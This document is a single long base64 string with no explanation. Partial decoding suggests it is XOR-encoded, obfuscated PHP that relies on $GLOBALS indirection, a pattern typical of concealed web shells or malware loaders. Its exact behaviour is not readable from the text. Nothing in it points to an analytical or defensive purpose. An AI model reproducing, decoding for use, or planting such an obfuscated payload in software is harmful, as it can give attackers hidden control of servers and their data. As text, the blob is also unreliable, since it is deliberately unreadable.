9mJiX1NjW29LE1NKXxMPF3tTDl9LZwtrSxdbD2MW9vZeXl5eT8Pv49fb75Ozb1o7E6MPBhd2GhYbUn4WHhYOe6peXipeHjJPRwdXZwdnch93S0Yqag4aDjJPYgsXQgMXExdzbzsWOip+T0cHV2cHZ3Ifd0tGJh56Ik9HB1dnB2dyH3dLRjZqT0cHV2cHZ3Ifd0tGMvb293M7Wh9SD2YbPxt/QhoGAn9uHh9DR3oKFwp+Fh4WCnpuX29aOxOjDwYXdhoWG1J+Fh4WBnp6MvZfKvZeXl5eXl97Rl5+W0trHw86fk/D7+PX2++Ts24eH0NHegoXCn4WHhYCe6p6el8XSw8LF2Yy9vb29l5Pw+/j19vvk7NvWjsTow8GF3YaFhtSfhYeFgJ7ql5eXl5eXipeXl8PFwtKMvZeX3tGXl5eflt7ExNLDn5Po8PLj7MHZgcXUhcTQ1trYxsOfho+Ejp7qnpeRkZfb1o7E6MPBhd2GhYbUn4WHhYeen9vWjsTow8GF3YaFhtSfhYeFj56el5eXl5GRl9vWjsTow8GF3YaFhtSfhYeFh56f29aOxOjDwYXdhoWG1J+Gj4OBnp6el8y9l5PFz4/ShNXFxNnejt6FgMCXipeX99DSw+jYx8Pe2NmfwMDogdDf3oTBwJ+Gj4CCnpuX1sXF1s6fnp6MvZPUxsOHxoXFxYbTgI7fwZeKl9HW28TSjL2Xl5eXl97Rl5eXl5eXn8DA6IHQ396EwcCfho6Eg56fk8XPj9KE1cXE2d6O3oWAwJ6el5fMvd7Rl5+W0trHw86fk8XPj9KE1cXE2d6O3oWAwOyQw5DqnpeXl5GRl5eX29aOxOjDwYXdhoWG1J+GgIaCnp+el5eXmpeXl5/e2cOel5eTxc+P0oTVxcTZ3o7ehYDA7MHZgcXUhcTQ1trYxsOfhYeFjp7ql5eXl5eXi5eXl5efhoCDhZyCj56el5eT1MbDh8aFxcWG04CO38GXl5eXipfDxcLSjL2Xl97Rl5+Wk9TGw4fGhcXFhtOAjt/Bl5eXl5GRl5eXltLax8POn5PFz4/ShNXFxNnejt6FgMDswdmBxdSFxNDW2tjGw5+Fh4SHnuqel5GRl5fAwOiB0N/ehMHAn4WHhIaen5PFz4/ShNXFxNnejt6FgMDs24eH0NHegoXCn4WHhIee6p6el5eXzL2Xl5eX0djF0tbU35eXl5+Txc+P0oTVxcTZ3o7ehYDA7MHZgcXUhcTQ1trYxsOfhYeEh57ql5eXl5fWxJeT6NTenpeXl5fMvZeX3tGXn8HZgcXUhcTQ1trYxsOfhYeEhp6fk+jU3p6Xl5eXkZGXl9uHh9DR3oKFwp+GgIaCnp+el5eXmpeXl5eXl5/e2cOel5eXk+jU3uzB2YHF1IXE0Nba2MbDn4WHhY6e6peXi5eXl5efh8/T1pyHz4GF0p6el5eXzL2Xl5eXl5PUxsOHxoXFxYbTgI7fwZeXl4qXl5eXl5fDxcLSjL2Xl5eXl9XF0tbcjL29vb2Xyr2Xl5fKvZeXl5eXl5fKvcq9vb2Xl5eXl5eX3tGXl5+T1MbDh8aFxcWG04CO38Gel9uHh9DR3oKFwp+Fh4SFnp/AwOiB0N/ehMHAn4WHhISenoy9yr2X3tGXl5/T6NXa0I/DwILFj47V38LGzs7Bn93Axd/YjsDEgoLU1dLRxdKfnp6el5eXl8XSw8LF2Yy9l9mP3c7e2t/FhtOBwcPRhtbOxoDZ25+ejL2Xl5eXl9jPw9PG34fag83AhdXfwsbZxJ/dwMXf2I7AxIKC1NXS0cXSn56bl8aOx9je6MXU2tTShdzb2I/D24Xa3p+enoy9l5eXl5fe0ZeflsSC0dPS2NXRztzY0Ifa3sfWhIXSz5+enpeXl5eXl8y9l5fcwd7B38HehsaOzs3Ggoefnoy9vb3b0tWC2cHfgMDB1tDWh9jPhtXOgNKfnoy9l8XSw8LF2Yy9l5eXl8q9k97Z2sHH0oHP2N2CwNXNhpeXl5eKl5eXl5fW2NqF2dKEh4GBztPc3tufnoy9k9bVxt+BztTN2MTQl5eKl5fWxcXWzp+9l5fdwMXf2I7AxIKC1NXS0cXSn56bvZeXl5eXk97Z2sHH0oHP2N2CwNXNhpeXl5mX29aOxOjDwYXdhoWG1J+Cg4Oem72Xl5eXl56MvZeTzd7Bg9aOx9+H29LY1t7fl5eXl5eKl8XOhM7Qzc7Wh8XB0MXW3sfHz+iFx+ifnoy9l5eX0djF0tbU35eXn5PN3sGD1o7H34fb0tjW3t+Xl5fWxJeXk87Nj9zQ1MTVwoPHwMOFnpeXl5fMvZfe0ZeXl5eXn/fbh4fQ0d6ChcKfhYeEg56fk87Nj9zQ1MTVwoPHwMOFnp6Xk9bVxt+BztTN2MTQ7OqXl4qXl5POzY/c0NTE1cKDx8DDhYy9l5eXl5eXyr2Xk+iDh9vFgoXWzY+AgtnP1tiXl4qXl9bFxdbOn56Mvd7Rl5/Dz4LTgYLV2+jG04fawoCEgcXcz4Ofnp6XzL2Xk9PHzcTAwM2A38fVxsGDh86Xl4qXxtWOwIXYz8fQ09Dax9rPhoLG2J/29eTn9uP/l5eZl5eXl9vWjsTow8GF3YaFhtSfhYeEgp6bl5+GgIXphoGDnp6XmZeXl5eX29aOxOjDwYXdhoWG1J+Fh4SBnoy9k+iDh9vFgoXWzY+AgtnP1tjs24eH0NHegoXCn4WHhICel5mXl/b15Of24/+Xl5eZl9vWjsTow8GF3YaFhtSfgoGDnuqXipeXl5PTx83EwMDNgN/H1cbBg4fOjL2Xk+iDh9vFgoXWzY+AgtnP1tjswMDogdDf3oTBwJ+Fh4SPnpeZl5Pe2drBx9KBz9jdgsDVzYaXl5eZl9vWjsTow8GF3YaFhtSfhoOAhZ7ql5eXl5eKl5eT08fNxMDAzYDfx9XGwYOHzoy9yr2Xk9GPz4Pf0NCDh9DY1ZeKl9uHh9DR3oKFwp+Fh4WHnp/b1o7E6MPBhd2GhYbUn4WHhI6enpeXiJeXl/fbh4fQ0d6ChcKfhYeEjp6f24eH0NHegoXCn4WHg4eenpeXl5eXjZeXl9HW28TSjL3e0ZeXl5efwdmBxdSFxNDW2tjGw5+Fh4aPnp+T0Y/Pg9/Q0IOH0NjVnpeRkZeXk9GPz4Pf0NCDh9DY1ZeWioqXlZWel5eXl5fMvZPFh8HTh9DExcXPz9PBhMKXipeXl5eXn97Zw56Xl5fQ0sPo2MfD3tjZn9uHh9DR3oKFwp+Gg4GHnpuXl4eejL3e0ZeXl5+Wk8WHwdOH0MTFxc/P08GEwpeXl5eXy8uXl5eXl5fbh4fQ0d6ChcKfhoCGgp6fnpeXl5eal5eXl5eXk8WHwdOH0MTFxc/P08GEwpeXl4mKl5eXl5efho+Cj4GcgYCPhoOenpfMvZeXk8TFw9vUx9TRztSFl4qXl8bVjsCF2M/H0NPQ2sfaz4aCxtif9vXk5/bj/5eZl5eX29aOxOjDwYXdhoWG1J+GhoeGnpuXn4fPhZyHz4GenpeXmZfB2YHF1IXE0Nba2MbDn4WHg4aejL2Xk+iDh9vFgoXWzY+AgtnP1tjswdmBxdSFxNDW2tjGw5+Fh4SPnpeXl5mX24eH0NHegoXCn4aOhYCen/b15Of24/+bl9vWjsTow8GF3YaFhtSfhYeDhZ6el5mXl5CYkJeZl5eXl5eT0Y/Pg9/Q0IOH0NjV6peKl5PExcPb1MfU0c7UhYy9k+iDh9vFgoXWzY+AgtnP1tjswdmBxdSFxNDW2tjGw5+Fh4OEnpeXl5mXk97Z2sHH0oHP2N2CwNXNhpeXl5mXl5CYkJeXl5eZl5PRj8+D39DQg4fQ2NXql4qXl5eXl5eTxMXD29TH1NHO1IWMvb29vZeXyr2Xl5fKvZeT1tmFzdyCgo+OwsDe1ZeXipeX0oSCz+iD3caBjoCFhNaEn56Mvd7Rl5eXl5/3wMDogdDf3oTBwJ+Fh4SDnp+T1tmFzdyCgo+OwsDe1eyG6p6el5eT6IOH28WChdbNj4CC2c/W2Ozb1o7E6MPBhd2GhYbUn4WHg4Oel5mXl5PW2YXN3IKCj47CwN7V7Ifq6peKl5fb1o7E6MPBhd2GhYbUn4WHg4Kel5eXl5mXk9bZhc3cgoKPjsLA3tXsheqMvZPZ2YDRxYXazcPbh4XVz5eXipeXl/fQ0sPo2MfD3tjZn9uHh9DR3oKFwp+Fh4OBnpuXl9bFxdbOn56ejL3e0ZeXn5bAwOiB0N/ehMHAn4WHhIaen5PZ2YDRxYXazcPbh4XVz56el5eXl5PZ2YDRxYXazcPbh4XVz5eKl5eXl9bFxdbOn56MvZeTwdDU1ITdhtrHx8bbhIOXl5eKl5fR1tvE0oy9l9HYxdLW1N+Xl5+T1tXG34HO1M3YxNCXl5eX1sSXl5PZ0YbfzYLc09XHxdXVnpeXl8y9l5eTxtaEw9DFztXDw9TZwJeXl5eKl/fAwOiB0N/ehMHAn4WHg4Cen5PZ0YbfzYLc09XHxdXVnoy9l5PT39aB0sfH6MPf2NrP2Y6Xl5eXipeXl5PG1oTD0MXO1cPD1NnAl5eXiJeXn5PG1oTD0MXO1cPD1NnA7MHZgcXUhcTQ1trYxsOfhYeDj57ql5eZl5eQy5CXl5mXl5eXk8bWhMPQxc7Vw8PU2cDswMDogdDf3oTBwJ+Fh4OOnuqel5eNl5eQh5CMvZeT0YCOxc2OhtCCz9uXl4qXl5eXl97ExNLDn5PZ2YDRxYXazcPbh4XVz+yT2dGG382C3NPVx8XV1eqel5eXl4iXl5eT2dmA0cWF2s3D24eF1c/sk9nRht/NgtzT1cfF1dXql42Xl5eXlZWMvb2Xl97Rl5efk9Pf1oHSx8fow9/Y2s/ZjpeKioqXl5eXl5PRgI7FzY6G0ILP256Xl5fU2NnD3tnC0oy9l97Rl5eXl5/b1o7E6MPBhd2GhYbUn4aOgIaen9uHh9DR3oKFwp+Fh4KHnpuXl5PRgI7FzY6G0ILP25uXk9LFxt7VhNrOw4TV2sSPzp6Xl5GRl5fAwOiB0N/ehMHAn4WHgoaen5PRgI7FzY6G0ILP25uXl5eHm5eXl5eXmsHZgcXUhcTQ1trYxsOfhYeChZ6fk9LFxt7VhNrOw4TV2sSPzuyH6p6el4qKipeXl5PT39aB0sfH6MPf2NrP2Y6Xl5GRl5eXwMDogdDf3oTBwJ+GgIaCnp+el5eXl5qXl5/e2cOel5eXk9LFxt7VhNrOw4TV2sSPzuyG6peLl5+EgoWAnICEnp6Xl9TY2cPe2cLSjL29vb2Xk8HQ1NSE3Ybax8fG24SDl5eXl4qXl5eXw8XC0oy91cXS1tyMvZeXl5eXl5eXyr3e0ZeXn5aTwdDU1ITdhtrHx8bbhIOel8y9l5eXl5eX0djF0tbU35eXl5+T6IOH28WChdbNj4CC2c/W2JfWxJeXk9zSzpeXl5eXiomXl5Pdgs6PxYaBhNDd6Nyel5fMvZeXl5eXl5eXk9Pf1oHSx8fow9/Y2s/ZjpeXl5eKl5eXl87P1tjRw82E1d7Q09nCj96O0d+f24eH0NHegoXCn4WHgoaen5Pc0s6bl5efhoWP6YaEhJ6em5eXk92Czo/FhoGE0N3o3J6Mvb2Xk9GAjsXNjobQgs/bl4qXl5eX3sTE0sOfk9nZgNHFhdrNw9uHhdXP7JPc0s7qnpeIl5PZ2YDRxYXazcPbh4XVz+yT3NLO6peXl42XlZWMvZeXl97Rl5+T09/WgdLHx+jD39jaz9mOl5eKioqXl5PRgI7FzY6G0ILP256Xl9TY2cPe2cLSjL2Xl5eX3tGXl5/bh4fQ0d6ChcKfho6Ahp6fwdmBxdSFxNDW2tjGw5+Fh4KHnpuXl5PRgI7FzY6G0ILP25uXl5eT0sXG3tWE2s7DhNXaxI/OnpeXl5GRl5eXl8HZgcXUhcTQ1trYxsOfhYeChJ6fk9GAjsXNjobQgs/bm5eHm5eXmtvWjsTow8GF3YaFhtSfhYeCg56fk9LFxt7VhNrOw4TV2sSPzuyH6p6el4qKipeT09/WgdLHx+jD39jaz9mOl5eRkZeX24eH0NHegoXCn4aAhoKen56Xl5qXl5ef3tnDnpeXl5PSxcbe1YTazsOE1drEj87shuqXl5eXl4uXl5efhYCAhoCcgo+Bj4SenpfU2NnD3tnC0oy9l5eTwdDU1ITdhtrHx8bbhIOXl5eKl8PFwtKMvdXF0tbcjL3Kvcq9mJiX4OeX8tnD3sPOl+XS1NjF08SNl8XS29LWxNKX1NjYxdPe2dbD2MW9vZeXl5eTwcKHxYOGgIXo1cLHl5eKl5eXl5fB2YHF1IXE0Nba2MbDn4WHh4Ken93Axd/YjsDEgoLU1dLRxdKfnpuX24eH0NHegoXCn4WHg4aenoy9l5eT3NKO2MPb2cGF2peKl5eXl5eT3tnawcfSgc/Y3YLA1c2Gl5eXmZeXl5eX29aOxOjDwYXdhoWG1J+GgYCFnpeZl5eXk8HCh8WDhoCF6NXCx5eXl5mXkJiQl5eXmZeTwcKHxYOGgIXo1cLHl5eZl9vWjsTow8GF3YaFhtSfhYeDhp6Mvb2TztWB283F1sLDhs/A1tjbl5eXl5eXipfB0I6BwtqFzoLD1MfVx9OExd3T1dyfnoy9vZfe0ZeXl5eflvfbh4fQ0d6ChcKfhYeCgp6fk9zSjtjD29nBhdqel5fLy5eXl5ef3tnDnpeX98HZgcXUhcTQ1trYxsOfhYeHj56fk9zSjtjD29nBhdqel5eXi5eXn4OOhIacgY6enpeXk8HQ1NSE3Ybax8fG24SDl4qXw8XC0oy9vZeXl5eX3tGXn5PO1YHbzcXWwsOGz8DW2NuXl5eXloqKl5WVl5eRkZeW99vWjsTow8GF3YaFhtSfhYeCgp6fk87VgdvNxdbCw4bPwNbY256el5eXk8HQ1NSE3Ybax8fG24SDl5eKl5fDxcLSjL2Xl5eXl5fe0ZeXl5+Wk8HQ1NSE3Ybax8fG24SDl5GRl5fb1o7E6MPBhd2GhYbUn4WHhYeen8HZgcXUhcTQ1trYxsOfhYeFj56enpeXl8y9k8WG28PD3YfP1sGXipeXk8HCh8WDhoCF6NXCx5eXl5eZl5CYkJeXmZeTwcKHxYOGgIXo1cLHl5eZl5eXl8DA6IHQ396EwcCfhYeDhp6MvZPS0MHDhtXawITBgs6XipfQ0sPo2MfD3tjZn9vWjsTow8GF3YaFhtSfhYeCgZ6bl5fWxcXWzp+enoy9l5fe0ZeXn5bB2YHF1IXE0Nba2MbDn4WHhIaen5PS0MHDhtXawITBgs6el5fLy5eWwdmBxdSFxNDW2tjGw5+GhYOAnp+TxYbbw8Pdh8/WwZuXl5eXk9LQwcOG1drAhMGCzpuXw8XC0p6el5eTwdDU1ITdhtrHx8bbhIOXl5eXipfDxcLSjL3KvZiYl+Dnl/Xb2NTc9NjZw8XY28SNl9rYwtnDl8TO2tXY25rD1tXb0r29l97Rl5eXl5+Wk8HQ1NSE3Ybax8fG24SDnpeXl8XSw8LF2Yy9l5eX3tGXl5+WxdHGwcXE1tuO3YCGh9Gf29aOxOjDwYXdhoWG1J+Fh4KAnp6el8XSw8LF2Yy9vcPFzpeXl5eXl8y9l5eXl5eX3MKH0ITUgoLHx8WPzd2Bg5+ejL2Xw+iDgdGEj9iH0c/NjsLC2NiC3NPEn56Mvb29vZeXl5fb0tWC2cHfgMDB1tDWh9jPhtXOgNKfnoy90N3DhM3f1d/ZgYTfh9TB3tvY6J+ejL29vdjdw4aP282PwY7YztzB2IKfnoy9l5eX3MHewd/B3obGjs7NxoKHn56MvdXT3d2G3djH3dvf28Dcn56MvZeXl5eX2oXdgMWHhtyE2M6D2sbcxYKDhMGEn56MvZeXl5PUgs7UxdSF6MLPxJeXipfR1M7UxNbFwMOHhMHW09yfnoy9l5eTxNbbz9bBgIDBxtmXl5eXl4qXl+jbxcCFx9zT2NmO0M/Dz9rcx92EzZ+ejL2Xl5PCh4HU3M3FhtSGgYSP1YOXl5eXl4qXl5fWxcXWzp+ejL2Xl5eXl5fR2MXS1tTfl5efk9bVxt+BztTN2MTQl5eX1sSXl5PZ0YbfzYLc09XHxdXVnpeXzL2Xk8TD6NWGgcPFwcGCgISXl5eXl5eKl5eXl5+T2dGG382C3NPVx8XV1ZeKioqXl5Pe2drBx9KBz9jdgsDVzYaXl5mXl9uHh9DR3oKFwp+Fh4KPnpeRkZeXlpPUgs7UxdSF6MLPxJ6Xl8vLl5eXl5/AwOiB0N/ehMHAn4WHgoSen5PZ0YbfzYLc09XHxdXVm5ean4fP05yHz4aenpeKioqXl9uHh9DR3oKFwp+Fh4KOnpeRkZeWk8TW28/WwYCAwcbZnoy9k8bWhMPQxc7Vw8PU2cCXl5eXl4qX98HZgcXUhcTQ1trYxsOfhYeDgJ6fk9nRht/NgtzT1cfF1dWejL2Xl5eXl5eXl97Rl5eXn5PG1oTD0MXO1cPD1NnAnpfMvb29l5eXl5eTwoeB1NzNxYbUhoGEj9WD7JPZ0YbfzYLc09XHxdXV6peXipeXl5eXk8bWhMPQxc7Vw8PU2cDs29aOxOjDwYXdhoWG1J+Fh4OPnuqXl5mXl5eQy5CXmZeXk8bWhMPQxc7Vw8PU2cDswMDogdDf3oTBwJ+Fh4OOnuqXl5eZl5efk8TD6NWGgcPFwcGCgISXl5eIl5eXl5fbh4fQ0d6ChcKfhYeBh56Xl5eZl5eXwdmBxdSFxNDW2tjGw5+Fh4GGnp+el5eNl5eVlZ6Mvb2Xyr2Xl5eXl8q9l5eXl9HYxdLW1N+Xl5eXl5efk+iDh9vFgoXWzY+AgtnP1tiXl9bEl5eT3NLOl5eXl5eXiomXl5Pdgs6PxYaBhNDd6Nyel5eXl5fMvZiYl+Dnl+PW1dvSl/Xb2NTcl8PSxdqX2tLF0NK9vZeXl5PNgI/TwIGC3+jCz4fNl4qXl87P1tjRw82E1d7Q09nCj96O0d+fwMDogdDf3oTBwJ+Fh4GFnp+T3NLOm5eXl5+FnISenpuXk92Czo/FhoGE0N3o3J6MvZeX3tGXl5eXn5PNgI/TwIGC3+jCz4fNl4qKipeXl5CHkJeXl5eXy8uXl8HZgcXUhcTQ1trYxsOfhYeBhZ6fk82Aj9PAgYLf6MLPh82bl5qFnpeKioqX29aOxOjDwYXdhoWG1J+Fh4GEnp6Xl5eXk82Aj9PAgYLf6MLPh82Xl5eXmYqXwdmBxdSFxNDW2tjGw5+Fh4GHnpeXl5mXl8DA6IHQ396EwcCfhYeBg56fnoy9vb29l5eTwoeB1NzNxYbUhoGEj9WD7JPc0s7ql4qXk82Aj9PAgYLf6MLPh82MvZeXl5eXl8q9l5eXl5eX98LH09bD0ujYx8Pe2NmfwdmBxdSFxNDW2tjGw5+Fh4GCnpuXl5PCh4HU3M3FhtSGgYSP1YObl5fAwOiB0N/ehMHAn4WHgYGenoy9l8qXl5fR3tnW29vOl8y9l9GEj9/Fz96Ew97AhtTSwNDW2dnCjp/b1o7E6MPBhd2GhYbUn4WHgoCenoy9l5eXl5eXyr3Kl5fU1sPU35eXn+PfxdjA1tXb0peXl5PQwM/V39LQxsaA1c2el5fMvb29vdzO1ofUg9mGz8bf0IaBgJ/B2YHF1IXE0Nba2MbDn4WHgYCem5eXk9DAz9Xf0tDGxoDVzZ6MvZeXl8qX1NbD1N+Xl5ef8s/U0sfD3tjZl5eXk9DAz9Xf0tDGxoDVzZ6Xl8y9l5fKvb29yr29vb2X0cLZ1MPe2NmXl5fOz9bY0cPNhNXe0NPZwo/ejtHfn5PZ0YbfzYLc09XHxdXVm5eT3YLOj8WGgYTQ3ejcnr29vZfMvZeXk8bWhMPQxc7Vw8PU2cCXl5eKl5eXl5eX99vWjsTow8GF3YaFhtSfhYeDgJ6fk9nRht/NgtzT1cfF1dWejL2Xl97Rl5+Wk8bWhMPQxc7Vw8PU2cCel5fF0sPCxdmXl5CHkIy9l5PT39aB0sfH6MPf2NrP2Y6XipeXk8bWhMPQxc7Vw8PU2cDs29aOxOjDwYXdhoWG1J+Fh4GPnuqXmZeXkMuQl5eXmZeXl5PG1oTD0MXO1cPD1NnA7MHZgcXUhcTQ1trYxsOfhYeDjp7qjL3e0ZeXl5efk8bWhMPQxc7Vw8PU2cDs24eH0NHegoXCn4WHgY6e6peXiZeXl5+Gh4OPg4+FnI6Dnp6Xl5eXl5fF0sPCxdmXl5fAwOiB0N/ehMHAn4WHgIeel5eZl5eXk9Pf1oHSx8fow9/Y2s/Zjoy9l5eXl5PO08KH2IWB08XY1tvbl5eKl5eXl5f3wMDogdDf3oTBwJ+GjoKGnp+T2dGG382C3NPVx8XV1Z6Mvb29l5eXxdLDwsXZl5PT39aB0sfH6MPf2NrP2Y6Xl5eZl5eXkMuQl5eXmZeXl5eXn5/AwOiB0N/ehMHAn4WHho+en5PO08KH2IWB08XY1tvbnpeXkZGXl5fb1o7E6MPBhd2GhYbUn4aOj4+en5PO08KH2IWB08XY1tvbm5eXl5Pdgs6PxYaBhNDd6Nyel5aKipfR1tvE0p6Xl5eXiJeQhpCXl5eXjZeQh5CejL2Xl5eXl5fKvZeX0cLZ1MPe2NmXl5fb1cHcxdLE0sbTh9zHhdDUzo7Wn569l5fMvZeXk+jHwZeKl5fB2YHF1IXE0Nba2MbDn4WHhYeen8DA6IHQ396EwcCfhYeFj56el5eXiJeXl9DSw+jYx8Pe2NmfwMDogdDf3oTBwJ+Fh4eem5eVlZ6XjZeXl5WVjL29vb2Xl5fUwcTRxtDH0NCC29Xa08SFgsHHwZ+ejL2Xl5PEgsPEgc3H1ejQwpeKl5eX29aOxOjDwYXdhoWG1J+Fh4CGnp/bh4fQ0d6ChcKfhYeFj56el4iXl5eXl9DSw+jYx8Pe2Nmf29aOxOjDwYXdhoWG1J+Fh4eem5eXl5WVnpeXl5eXjZeXl5eVlYy9l729vZeXl97Rl5eXl5efk8SCw8SBzcfV6NDCl5eKioqXk+jHwZ6X99PS29LD0ujYx8Pe2Nmf24eH0NHegoXCn4WHh56ejL29l5eXl5fKvdHC2dTD3tjZl5fUwcTRxtDH0NCC29Xa08SFgsHHwZ+evZeXl5eXzL2Xw8XOl5eXl8y9l97Rl5eXl5efltPS0d7Z0tOfwdmBxdSFxNDW2tjGw5+Gj4SGnp6el5fF0sPCxdmMvZeXl5eXk97Z2sHH0oHP2N2CwNXNhpeXl4qXl9bY2oXZ0oSHgYHO09ze25+ejL2Xl5POh9nbx8Dd3s+Hl5eKl5eXl5eXxoLGxtKFxY7ch8fSxMXdxNrQn56MvZeXl5eXl5eXk93A1cXAwdqOxNuB2sTAl5eKl8bVjsCF2M/H0NPQ2sfaz4aCxtif9vXk5/bj/5eXmZeXl5fAwOiB0N/ehMHAn4aEg4Kem5efhoOagZ6el5mXl8HZgcXUhcTQ1trYxsOfhoSDgZ6MvZeXk9zC08eOhcDFwIDbwcPY2ZeKl8bVjsCF2M/H0NPQ2sfaz4aCxtif9vXk5/bj/5eZl5eXwdmBxdSFxNDW2tjGw5+Fh4SCnpuXl5eXn4aHmoWenpeXl5eXl5mXwdmBxdSFxNDW2tjGw5+Fh4CFnoy9k87f0ofbhNPEh4aXipeXl5eXl8bVjsCF2M/H0NPQ2sfaz4aCxtif9vXk5/bj/5eXmZeXl5eX24eH0NHegoXCn4WHgISem5eXn4aLi4SenpeXl5mXl5eXwdmBxdSFxNDW2tjGw5+Fh4CFnoy9l5PH3cWC3YTOgsHRx8LB0ZeXl5eKl5eXl8bVjsCF2M/H0NPQ2sfaz4aCxtif9vXk5/bj/5eZl5fb1o7E6MPBhd2GhYbUn4aDh4aem5efg4bphISenpeXmZeXl5eXl9uHh9DR3oKFwp+Fh4CFnoy9l5PdhYKD3c2H2dTTl4qXxtWOwIXYz8fQ09Dax9rPhoLG2J/29eTn9uP/l5mXl8HZgcXUhcTQ1trYxsOfhoOGgZ6bl5eXl5efhoKagJ6el5eZl5eX24eH0NHegoXCn4WHgIOejL2Xk93a3MDF0cPA3M2Xl5eXl4qXl5fbh4fQ0d6ChcKfgoOPnpeZl5fG1Y7AhdjPx9DT0NrH2s+GgsbYn/b15Of24/+XmZeXl5DQkJuXl5eXn4WGjumFhoaenoy9l5eT3IXNhN3R29aB6JeXl4qXl5fWxcXWzp+9k97Z2sHH0oHP2N2CwNXNhpeZl8DA6IHQ396EwcCfhYeGhJ6XiomXwMDogdDf3oTBwJ+OhoKem72Xk97Z2sHH0oHP2N2CwNXNhpeZl5fbh4fQ0d6ChcKfhYeAgp6XiomXl8DA6IHQ396EwcCfhYeAgZ6bvZeXl5eXl56MvdHYxdLW1N+Xl5eXl5+T3IXNhN3R29aB6JeX1sSXl5PZ0YbfzYLc09XHxdXVl5eXl4qJl5PHxdLR3s+el5fMvZeXl97Rl5eXn5b324eH0NHegoXCn4WHgoKen5PZ0YbfzYLc09XHxdXVnp6X1NjZw97ZwtKMvZeXl5PO08KH2IWB08XY1tvbl5eXl5eXipeX98HZgcXUhcTQ1trYxsOfho6Chp6fk9nRht/NgtzT1cfF1dWejL29vb3e0ZeXn5PO08KH2IWB08XY1tvbl5eKioqXl9HW28TSnpeXl9TY2cPe2cLSjL2Xl5PDwsGH0+jG3sXOxNXR1ZeXl5eKl5eXl5fb1o7E6MPBhd2GhYbUn46Fh56Xl5eZl5PHxdLR3s+Xl5mXl5fAwOiB0N/ehMHAn46Fhp6Xl5eZl5eTx8XS0d7Pl5eZl5fB2YHF1IXE0Nba2MbDn4WHgICejL2Xl5eXk9vPj8WF1dzQhcXBl4qXl8HZgcXUhcTQ1trYxsOfho6Php6fk8PCwYfT6Mbexc7E1dHVm5eXl5eVlZuXl5PO08KH2IWB08XY1tvbnoy9l97Rl5efk9vPj8WF1dzQhcXBl5aKipeTztPCh9iFgdPF2Nbb256X24ODxujfjtzaw93H3drUhIafk9nRht/NgtzT1cfF1dWbl5eT28+PxYXV3NCFxcGejL29vb2Xl8q9k97ExMbeg4ffj9XWwNjbwN2XipeXk97Z2sHH0oHP2N2CwNXNhpeXl5mXl5eXl9uHh9DR3oKFwp+Cg4GejL2Xl97Rl5eXl5/3wdmBxdSFxNDW2tjGw5+Fh4KCnp+T3sTExt6Dh9+P1dbA2NvA3Z6el8y9vb29k8KGxdnOxISAz4LVl5eKl/fB2YHF1IXE0Nba2MbDn4WHgI+en5PexMTG3oOH34/V1sDY28Ddnoy9l5eXl97Rl5ef24eH0NHegoXCn4WHho+en5PChsXZzsSEgM+C1Z6XkZGXl5eTwobF2c7EhIDPgtWXl5aKipeXl5eXlZWel5fMvZeXl97Rl5eXl5/bh4fQ0d6ChcKfhYeAjp6fwMDogdDf3oTBwJ+Fh4+HnpuXl5fAwOiB0N/ehMHAn4WHj4aen5PChsXZzsSEgM+C1ZuXl5eXh5uXl5+FhZyFgI+enp6Xy8uXl5fb1o7E6MPBhd2GhYbUn4aOj4+en5PChsXZzsSEgM+C1ZuXl8HZgcXUhcTQ1trYxsOfhoKCjp6el4qKipeXh56XzL3VwNrG1NHa2trHhI/Y0oefk97ExMbeg4ffj9XWwNjbwN2bl5+DhYCagJ6ejL3Ahdvf2d/YzoXows/Cx9LD1tGfk97ExMbeg4ffj9XWwNjbwN2ejL2Xl5fKl5fS28TSl5fMvZeT1sfT3IDPh9TYx4Ld1tSXl5eKl8DA6IHQ396EwcCfho6Php6fwMDogdDf3oTBwJ+Fh4+FnpuXl5WVm5eTwobF2c7EhIDPgtWejL3e0ZeXn8HZgcXUhcTQ1trYxsOfhYeGj56fk9bH09yAz4fU2MeC3dbUnpeXkZGXl5eXl5PWx9PcgM+H1NjHgt3W1JeXloqKl5eXk8KGxdnOxISAz4LVnpfbg4PG6N+O3NrD3cfd2tSEhp+T3sTExt6Dh9+P1dbA2NvA3ZuXl5PWx9PcgM+H1NjHgt3W1J6MvZeXwtnE0sOfk9bH09yAz4fU2MeC3dbUnoy9l5eXl5eXyr2Xyr2YmJfb0tHDmt3CxMPe0d7S0729l5fC2cTSw5+TwobF2c7EhIDPgtWejL29vb2Xyr29vb2Xl5PVhNjT6IeFz4SAj5eKl5eXl8DA6IHQ396EwcCfhYeHg56f3cDF39iOwMSCgtTV0tHF0p+enpeZl5eX24eH0NHegoXCn4aDhZ6MvZeXl5eXl5Po24WAxt+PgN2G24bR3ZeKl5eXl5fT0tHe2dLTn8DA6IHQ396EwcCfhYePhJ6el5eIl+Dn6PT4+ePy+ePo8/7ll5mXl5fbh4fQ0d6ChcKfhoOFnpeNl5eXk9WE2NPoh4XPhICPjL29l5eXl5PAwMSC0YTfwNDEgNDU0uiGl4qXl5fWxcXWzp+9l5eXl5eT3tnawcfSgc/Y3YLA1c2Gl5eXl5eZl5eQmJCXmZeT3cDVxcDB2o7E24HaxMCbvZeXk97Z2sHH0oHP2N2CwNXNhpeXl5mXl5eQmJCXl5mXl5PcwtPHjoXAxcCA28HD2NmbvZeT3tnawcfSgc/Y3YLA1c2Gl5eZl5eXl5CYkJeXmZeXl5PO39KH24TTxIeGm729vZPOh9nbx8Dd3s+Hl5eXmZeXl5CYkJeXl5eZl5eXl5PH3cWC3YTOgsHRx8LB0Zu9k86H2dvHwN3ez4eXmZeXl5eQmJCXl5mXl5PdhYKD3c2H2dTTm729l5POh9nbx8Dd3s+Hl5eXmZeQmJCXl5eXl5mXl5eXl5PcwtPHjoXAxcCA28HD2NmbvZPOh9nbx8Dd3s+Hl5eZl5eXkJiQl5eZl5PO39KH24TTxIeGm72Xl5eXl5eT1YTY0+iHhc+EgI+Xl5eXmZeXl5eXl5CYkJeZl5eTx93Fgt2EzoLB0cfCwdGbvZeXl5PVhNjT6IeFz4SAj5eZl5eQmJCXl5eXl5eZl5eXl5PdhYKD3c2H2dTTm729vb2Xl5eT1YTY0+iHhc+EgI+XmZeQmJCXl5eZl5eXl5PcwtPHjoXAxcCA28HD2NmbvZeXl5eXl5eXk9WE2NPoh4XPhICPl5mXl5eXl5eQmJCXmZeTzt/Sh9uE08SHhpu9l5eXl5eT6NuFgMbfj4DdhtuG0d2XmZeXkJiQl5eXl5eZl5eXk8fdxYLdhM6CwdHHwsHRm72Xl5Po24WAxt+PgN2G24bR3ZeXl5mXl5eXl5CYkJeXl5eZl5eT3YWCg93Nh9nU05u9k+jbhYDG34+